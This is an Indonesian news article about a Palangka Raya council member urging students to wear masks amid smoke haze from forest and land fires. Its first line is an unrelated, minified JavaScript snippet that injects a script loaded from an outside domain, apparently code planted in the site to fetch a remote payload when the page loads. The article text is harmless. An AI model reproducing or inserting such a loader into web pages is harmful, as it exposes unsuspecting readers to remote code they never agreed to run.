(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sigit Widodo Dorong Peserta Didik Gunakan Masker di Tengah Kabut Asap

KANALKALIMANTAN.COM,PALANGKARAYA – Anggota DPRD Kota Palangka Raya, Kalimantan Tengah, Sigit Widodo, mengimbau kepada peserta didik yang berangkat ke sekolah dari rumah untuk selalu menggunakan masker, mengingat kabut asap yang disebabkan oleh kebakaran hutan dan lahan kembali melanda daerah tersebut.

“Dengan kabut asap yang muncul setiap pagi akibat kebakaran hutan dan lahan, saya ingin mengingatkan kepada peserta didik untuk tetap menggunakan masker,” ujar Sigit Widodo.

Kebakaran lahan dan hutan saat ini kembali terjadi di beberapa wilayah, dan kabut asap yang mengganggu udara Kota Palangka Raya diduga kuat berasal dari kebakaran yang terjadi di kabupaten tetangga.

Sigit, yang merupakan anggota Komisi C yang membidangi Kesehatan, Pendidikan, dan Pariwisata di DPRD Kota Palangka Raya, menegaskan bahwa meskipun udara di daerah tersebut sempat membaik karena hujan yang turun, saat ini kondisinya kembali memburuk akibat kabut asap.

“Karena udara di daerah kita kembali tercemar akibat kebakaran hutan dan lahan, saya menyarankan agar peserta didik yang pergi ke sekolah wajib menggunakan masker untuk menjaga kesehatan mereka,” tambahnya.

Sigit juga merujuk pada surat edaran Dinas Pendidikan Kota Palangka Raya yang menginstruksikan sekolah untuk tidak melaksanakan kegiatan di luar ruangan jika udara di daerah tersebut tidak sehat. Hal ini mencakup penundaan kegiatan olahraga, apel sekolah, dan aktivitas luar ruangan lainnya.

“Kami berharap hujan akan segera turun sehingga kebakaran hutan dan lahan di beberapa titik dapat dipadamkan, dan udara Kota Palangka Raya bisa kembali normal dan sehat seperti sebelumnya,” tutupnya.

Pada hari ini, kabut asap dari kebakaran hutan dan lahan menyelimuti udara ibu kota provinsi setempat. Banyak warga yang menggunakan masker saat beraktivitas di luar ruangan untuk menjaga kesehatan mereka dan mencegah penyakit infeksi saluran pernapasan akut (Ispa), yang banyak dialami oleh penduduk setempat akibat kondisi udara yang tidak sehat.(www.kanalkalimantan.com/hms)

Editor : kk